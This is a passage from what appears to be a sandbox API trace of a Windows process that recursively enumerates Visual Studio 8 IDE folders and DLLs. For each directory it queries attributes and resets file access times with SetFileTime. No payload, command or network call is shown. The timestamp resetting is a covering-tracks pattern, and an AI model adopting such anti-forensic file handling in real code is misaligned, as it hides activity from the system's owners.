ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0089.055] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0 [0089.055] GetLastError () returned 0x12 [0089.055] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.056] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0089.056] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.056] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDE", cAlternateFileName="")) returned 1 [0089.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.056] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.056] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0089.056] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0089.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.057] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0089.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.057] NtClose (Handle=0x124) returned 0x0 [0089.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.058] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0089.058] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.058] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivateAssemblies", cAlternateFileName="")) returned 1 [0089.058] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="")) returned 1 [0089.058] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0089.058] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 0 [0089.058] GetLastError () returned 0x12 [0089.058] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0089.058] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0089.058] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.059] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivateAssemblies", cAlternateFileName="")) returned 1 [0089.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fd30 [0089.059] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\privateassemblies"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.059] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\privateassemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0089.060] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.060] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.060] NtClose (Handle=0x124) returned 0x0 [0089.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fd30) returned 1 [0089.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fd30 [0089.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fe38 [0089.062] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0089.062] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.062] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3eb700, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a3eb700, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x257a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Project.dll", cAlternateFileName="")) returned 1 [0089.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.063] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3eb700, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a3eb700, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x257a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Project.dll", cAlternateFileName="")) returned 0 [0089.063] GetLastError () returned 0x12 [0089.063] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0089.063] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0089.064] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.064] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3eb700, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a3eb700, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x257a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Project.dll", cAlternateFileName="")) returned 1 [0089.064] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3eb700, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a3eb700, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x257a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Project.dll", cAlternateFileName="")) returned 0 [0089.064] GetLastError () returned 0x12 [0089.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fe38) returned 1 [0089.064] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fd30) returned 1 [0089.064] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="")) returned 1 [0089.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fd30 [0089.065] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\publicassemblies"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.066] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\publicassemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.066] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.066] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.066] NtClose (Handle=0x164) returned 0x0 [0089.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fd30) returned 1 [0089.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fd30 [0089.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fe38 [0089.068] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0089.081] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.081] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f842200, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f842200, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x337a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", cAlternateFileName="")) returned 1 [0089.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.083] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b54f00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x526bacf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50b54f00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x197b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", cAlternateFileName="")) returned 1 [0089.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.084] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57dc5d00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57dc5d00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x97b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", cAlternateFileName="")) returned 1 [0089.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.086] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x590d8a00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x590d8a00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x117a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", cAlternateFileName="")) returned 1 [0089.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.087] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ab3000, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56ab3000, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x9758, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0089.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.089] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ab3000, ftCreationTime.dwHighDateTime=0x1c9e43c, 